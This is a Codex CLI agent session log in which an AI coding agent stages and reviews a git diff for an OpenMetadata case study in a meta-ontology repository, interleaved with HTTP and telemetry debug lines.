session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_saEAHJSxbEHFfMnQJWQco5Yj tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=100 total_duration_ms=100\n[2026-07-12T04:07:33.370Z] [INFO] \n[2026-07-12T04:07:33.394Z] [INFO] 2026-07-12T04:07:33.392885Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:07:33.394Z] [INFO] \n[2026-07-12T04:07:33.426Z] [INFO] 2026-07-12T04:07:33.425566Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:07:33.426Z] [INFO] \n[2026-07-12T04:07:33.429Z] [INFO] 2026-07-12T04:07:33.427519Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:07:33.429Z] [INFO] \n[2026-07-12T04:07:33.436Z] [INFO] 2026-07-12T04:07:33.431933Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:07:33.436Z] [INFO] \n[2026-07-12T04:07:33.457Z] [INFO] 2026-07-12T04:07:33.451270Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:07:33.457Z] [INFO] \n[2026-07-12T04:07:33.469Z] [INFO] 2026-07-12T04:07:33.464302Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:33.464Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.469Z] [INFO] 2026-07-12T04:07:33.464353Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:07:33.464Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:33.469Z] [INFO] 2026-07-12T04:07:33.464367Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:07:33.469Z] [INFO] \n[2026-07-12T04:07:33.537Z] [INFO] 2026-07-12T04:07:33.537173Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:07:33.537Z] [INFO] 2026-07-12T04:07:33.537266Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:07:33 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"d8e473b8-3e16-44ff-b018-fe44e62d4bc8\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=1RtkdOYWj0lMKWL%2FZQk9lGt0Jfsum%2FshVYU44zylMBhtTrfO0pOT4xny1gL16nLRw34kUK7rwz%2FmlB5z24a%2Fs1zvwN6PpMfWN81zxFW9wow2uvjXmrnw4X27Lhpl\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d2e822c7a1182-FRA\"} version=HTTP/1.1\n[2026-07-12T04:07:33.537Z] [INFO] \n[2026-07-12T04:07:34.295Z] [INFO] 2026-07-12T04:07:34.294810Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130647b481919deccb8ecdd0dbcb\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMGjV9vynWV0bRQSeRjSjpxEoC-QjWSGWxijDAHEbvbpD-tRb-C90DYOOBq4Si_EVxWHy1kXfCPu_Xj1Xpt-gjgycA3n_LU4e6tqkm5QoAigaHBLxf_VCapflm7Ody0HavaNX7jDVNqEa6rqeSJDpYAPKQkgmDlKLt77rUCQkVdkvn5eSkihbPNzgHD2WUj2hIeCmvaXRZvRcr2hzf9SfzF6ebpj-30klzAvATWZY2ZzJLFKaSBaB5TIPUmVpm_Gx86STpheFm6aH0gH3joOgdpFjJkPkxoWNOzlNel0a9m7LAg4AudjLwB44FyTqii5-VcPeqMYx0EULBzDJQusiJoXAAlcymSNhSlw7GVkNS2bp6pWpzKTBkrv6e9OYZ8GvxX53pib_Bg6Ju_7GNfBFgD5YluIPo_iLsvAaL29-y6tV_xclC_IYpFYYfEBdxaBYuXevcSwLuWxYrSzOdi0hc9xj-xPVW_MRSwA-zAMq_Kj7Fbc1HDkedIdKImNm-KU1bQXeRTDfxNXCNCpKl6HXxg8iJI7ZJMMQ1rMQieqjeHXW6iFkhZJVWQJELPvt6RmMyHWw99MUc19qULstk_OwcX2qnQjD1YCeBjc4XRKNWub4PBt_wKVHENPIkrkcICt9ruT_g7bdrozeWPRaruyefTaxIEz027mU4_quovecDAPmyB0jbptL_uGxEhx1mP53DlfoetsovdvnLfQQaLVf86J86_v5KWUsSB0BC_gl6WvMr8fk91Fc1tOn2ZOIRKYKIuaMn12jsoe1JPl5DTcN2Vn66sLDcSzYBTc8mrKRXTcbG428KMIppt1CRVi4ZUYUp2O--Y0bwQbue0mQlvyOCgC3GzcsZkiXznawTWsOVzcIHGbM37-9o31lDcN4kutxqHUPjb_MvDshrJKkjGigiQXg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:34.295Z] [INFO] \n[2026-07-12T04:07:38.771Z] [INFO] 2026-07-12T04:07:38.769653Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53130647b481919deccb8ecdd0dbcb\"), summary: [SummaryText { text: \"**Planning staged diff review and branch sync**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxMKATOW_8K7T3RHcMPGL9zy0Bgi7YOacCMFCVmqCyA33Zgj8uvcuOgAJc7p5I0lSiejHCwLQ0DPaGwR2a_-maAsZs-hSwnUMLDLAig-RvRCf4d51U5Fo7cUwNZxLFleeKSA8j6qIjjDUe6JJE336C1LMSTsH9k9NR2Rsu0VO8Q7MHOT-RabIxiJgZwYvVAHDYr5H1bt81Xtz1PKInG9Th13BM8WHxK3f0pFnQJOHPyOpw0y83DgqBQNIg6mXhReU06kaBmzzkDLdCr1A4Hjl2FNUYqOiPdmL0Unh6CRmA8OJinFs67cfK8SimyPrinODuTfEtJ5kg0A5I7CBZWbsu9t3_wTrFTi8AnXCGBUwNdedBjpud8SloZcuoMx5fDmP7EuloKFHq6_8RutAvLeBNXgS_k4vUfEYPs515eXc5_EOzHwyvKuXQo8qMfhPlcLZQmzFvCrQ5IDrJ8pEpWEAbuiGrldiXU2evwz1yN4kVWeyo7d2G5-TfWVeWh711PKEu332tVD_noWDOT18rLUbilV_lNw1oVeKPC5z1u2TwhsvLBDjQC3htt43FHRXntPYhPNefFycUzKenNhiLTpTZ9HRsSN0SU6TtLq-cb8ksNwaE4HoafpcTZnFfYONYzXYVyt-DbVfm6AerJaILjMNRgfL1J1_Fo6F93gHI2ucpRA79xUkNe8uMqNQBcFlW26hOXa-ydMoqtyIZ4MLnCDplwlUUOjkp40pWU6RlVSRqTeBiss6KTnJ8C8pSkTvzf-xmNUDVMATvwFZbHXIeDnR1covdNPAXYrwneTfMs56-W1sLwLESXYE0W8f5-xsRrUiKJ4dowIV_sWxOCd0I3vzB8nbAV8b9c6QRj7RmNHdhQCFCjWchTHqvZACcAAoVRxminEoL5_Vk6flJQUqhXuBMJSRyAw7nurFLkbIXA0E2Etwee7wO2SLhuMlkRvlC6T7n2svVA-lZb8JSc-60voosyc2AlTBRP4zArSve5vNeVLW2B30DLguTjXOb9WAKgzQIpR9cyhkMjaP5YKtfobVetfT473QVcwuiggJVPIXPEbzAGPCu8a4Okl-SYSzb8wdtKbLN59i2REWHB7IbNKPo5LqRttuwpCdyHII_8_5UOimLF94eG-3jYf1TdS36x62kqq1rd4b8EGWBpbvmwZ5Cql5p-X6hmqSx-TN-IEVb_N-tpL7mBgaU7z0hVwo-Nx9SVrTnR-FrkcgcDaeKVqVrP8Hn5SLIT4dNLy7_ZoHY442HlPPHZeKI5m1N0SoiTm5IgLE-BfOQVdwIum5Uxj39GTZqTK5xMV74R0iMdv2kSL4h1tryMQAI7HxixhWpBwdn1UeQyIgOL3mE1tzcrgjTXtW0_i9fHrndYAARmRAaiD-3-WlsgUPbIWIPO2Tp-En1g2TF-Zr6bp9BeHmMVr11pLt3T-WV-TNejMlmMYPHRsEROIJ-d3N_k5sehAjgr6Tv3eInj0y-yspOsvRQJX3-cnNdcJn_9BWAjoZq98j0-8ceA=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:38.771Z] [INFO] \n[2026-07-12T04:07:38.776Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_41\",\"type\":\"reasoning\",\"text\":\"**Planning staged diff review and branch sync**\"}}\n[2026-07-12T04:07:38.776Z] [INFO] \n[2026-07-12T04:07:38.780Z] [INFO] 2026-07-12T04:07:38.779914Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53130ac0f881918e58558222503d30\"), status: Some(\"in_progress\"), call_id: \"call_zRV9wfFYbpU9XlVbIVXdmYQU\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:07:38.780Z] [INFO] \n[2026-07-12T04:07:39.802Z] [INFO] 2026-07-12T04:07:39.801935Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000}); text(r.output);\n[2026-07-12T04:07:39.802Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:07:39.802Z] [INFO] \n[2026-07-12T04:07:39.815Z] [INFO] 2026-07-12T04:07:39.814985Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53130587208191b212e9b7366777a8\"\n[2026-07-12T04:07:39.815Z] [INFO] 2026-07-12T04:07:39.815044Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65380 output_token_count=220 cached_token_count=64256 reasoning_token_count=91 tool_token_count=65600 ttft_ms=831 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:39.815Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:39.815Z] [INFO] 2026-07-12T04:07:39.815067Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=65380 output_token_count=220 cached_token_count=64256 reasoning_token_count=91 tool_token_count=65600 ttft_ms=831 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:07:39.815Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:39.815Z] [INFO] \n[2026-07-12T04:07:39.873Z] [INFO] 2026-07-12T04:07:39.871148Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-287671b1-e480-4732-8790-a590599e8f93 decision=approved source=Config event.timestamp=2026-07-12T04:07:39.871Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:39.873Z] [INFO] \n[2026-07-12T04:07:40.019Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_42\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:07:40.019Z] [INFO] \n[2026-07-12T04:07:40.027Z] [INFO] 2026-07-12T04:07:40.021534Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-287671b1-e480-4732-8790-a590599e8f93 arguments={\"cmd\":\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000} duration_ms=150 success=true output=Chunk ID: 0a0e10\n[2026-07-12T04:07:40.027Z] [INFO] Wall time: 0.0002 seconds\n[2026-07-12T04:07:40.027Z] [INFO] Process exited with code 0\n[2026-07-12T04:07:40.027Z] [INFO] Original token count: 10366\n[2026-07-12T04:07:40.027Z] [INFO] Output:\n[2026-07-12T04:07:40.027Z] [INFO] Warning: truncated output (original token count: 10366)\n[2026-07-12T04:07:40.027Z] [INFO] Total output lines: 840\n[2026-07-12T04:07:40.027Z] [INFO] \n[2026-07-12T04:07:40.027Z] [INFO]  .gitkeep                                           |   1 -\n[2026-07-12T04:07:40.027Z] [INFO]  changelog.d/20260712_openmetadata_case_study.md    |   9 +\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/README.md                | 122 ++++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/openmetadata-analysis.md | 233 +++++++++++++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/raw-data/issue-5.json    |  17 ++\n[2026-07-12T04:07:40.027Z] [INFO]  .../issue-5/raw-data/research-observations.json    |  35 +++\n[2026-07-12T04:07:40.027Z] [INFO]  .../issue-5/requirements-and-solutions.md          | 256 +++++++++++++++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  docs/case-studies/issue-5/source-inventory.md      |  93 ++++++++\n[2026-07-12T04:07:40.027Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:40.027Z] [INFO] D\t.gitkeep\n[2026-07-12T04:07:40.027Z] [INFO] A\tchangelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/README.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:40.027Z] [INFO] A\tdocs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:40.027Z] [INFO] diff --git a/.gitkeep b/.gitkeep\n[2026-07-12T04:07:40.027Z] [INFO] deleted file mode 100644\n[2026-07-12T04:07:40.027Z] [INFO] index 246ae17..0000000\n[2026-07-12T04:07:40.027Z] [INFO] --- a/.gitkeep\n[2026-07-12T04:07:40.027Z] [INFO] +++ /dev/null\n[2026-07-12T04:07:40.027Z] [INFO] @@ -1 +0,0 @@\n[2026-07-12T04:07:40.027Z] [INFO] -# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:07:40.027Z] [INFO] \\ No newline at end of file\n[2026-07-12T04:07:40.027Z] [INFO] diff --git a/changelog.d/20260712_openmetadata_case_study.md b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.027Z] [INFO] new file mode 100644\n[2026-07-12T04:07:40.027Z] [INFO] index 0000000..d723621\n[2026-07-12T04:07:40.027Z] [INFO] --- /dev/null\n[2026-07-12T04:07:40.027Z] [INFO] +++ b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.027Z] [INFO] @@ -0,0 +1,9 @@\n[2026-07-12T04:07:40.027Z] [INFO] +---\n[2026-07-12T04:07:40.027Z] [INFO] +bump: patch\n[2026-07-12T04:07:40.027Z] [INFO] +---\n[2026-07-12T04:07:40.027Z] [INFO] +\n[2026-07-12T04:07:40.027Z] [INFO] +### Added\n[2026-07-12T04:07:40.027Z] [INFO] +\n[2026-07-12T04:07:40.027Z] [INFO] +- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\n[2026-07-12T04:07:40.027Z] [INFO] +  preserves research observations, inventories reusable standards and Rust\n[2026-07-12T04:07:40.027Z] [INFO] +  components, and provides a phased implementation plan.\n[2026-07-12T04:07:40.027Z] [INFO] diff --git a/docs/case-studies/issue-5/README.md b/docs/case-studies/issue-5/REA\n[2026-07-12T04:07:40.027Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:07:40.021Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.027Z] [INFO] 2026-07-12T04:07:40.021597Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-287671b1-e480-4732-8790-a590599e8f93 duration_ms=150 success=true arguments_length=349 output_length=2086 output_line_count=50 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:07:40.021Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:07:40.027Z] [INFO] \n[2026-07-12T04:07:40.042Z] [INFO] 2026-07-12T04:07:40.034065Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_zRV9wfFYbpU9XlVbIVXdmYQU arguments=const r=await tools.exec_command({cmd:\"git add .gitkeep changelog.d/20260712_openmetadata_case_study.md docs/case-studies/issue-5 && git diff --cached --check && git diff --cached --stat && git diff --cached --name-status && git diff --cached | sed -n '1,1500p' && git status --short\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":10000,\"max_output_tokens\":50000}); text(r.output);\n[2026-07-12T04:07:40.042Z] [INFO]  duration_ms=231 success=true output=Script completed\n[2026-07-12T04:07:40.042Z] [INFO] Wall time 0.2 seconds\n[2026-07-12T04:07:40.042Z] [INFO] Output:\n[2026-07-12T04:07:40.042Z] [INFO] \n[2026-07-12T04:07:40.042Z] [INFO] Warning: truncated output (original token count: 10366)\n[2026-07-12T04:07:40.042Z] [INFO] Total output lines: 840\n[2026-07-12T04:07:40.042Z] [INFO] \n[2026-07-12T04:07:40.042Z] [INFO]  .gitkeep                                           |   1 -\n[2026-07-12T04:07:40.042Z] [INFO]  changelog.d/20260712_openmetadata_case_study.md    |   9 +\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/README.md                | 122 ++++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/openmetadata-analysis.md | 233 +++++++++++++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/raw-data/issue-5.json    |  17 ++\n[2026-07-12T04:07:40.042Z] [INFO]  .../issue-5/raw-data/research-observations.json    |  35 +++\n[2026-07-12T04:07:40.042Z] [INFO]  .../issue-5/requirements-and-solutions.md          | 256 +++++++++++++++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  docs/case-studies/issue-5/source-inventory.md      |  93 ++++++++\n[2026-07-12T04:07:40.042Z] [INFO]  8 files changed, 765 insertions(+), 1 deletion(-)\n[2026-07-12T04:07:40.042Z] [INFO] D\t.gitkeep\n[2026-07-12T04:07:40.042Z] [INFO] A\tchangelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/README.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:07:40.042Z] [INFO] A\tdocs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:07:40.042Z] [INFO] diff --git a/.gitkeep b/.gitkeep\n[2026-07-12T04:07:40.042Z] [INFO] deleted file mode 100644\n[2026-07-12T04:07:40.042Z] [INFO] index 246ae17..0000000\n[2026-07-12T04:07:40.042Z] [INFO] --- a/.gitkeep\n[2026-07-12T04:07:40.042Z] [INFO] +++ /dev/null\n[2026-07-12T04:07:40.042Z] [INFO] @@ -1 +0,0 @@\n[2026-07-12T04:07:40.042Z] [INFO] -# .gitkeep file auto-generated at 2026-07-12T04:01:46.538Z for PR creation at branch issue-5-e2602184e2c5 for issue https://github.com/link-foundation/meta-ontology/issues/5\n[2026-07-12T04:07:40.042Z] [INFO] \\ No newline at end of file\n[2026-07-12T04:07:40.042Z] [INFO] diff --git a/changelog.d/20260712_openmetadata_case_study.md b/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:07:40.042Z] [INFO] new file mode 100644\n[2026-07-12T04:07:40.042Z] [INFO] index 0000000..d723621\n[2026-07-12T04:07:40.042Z] 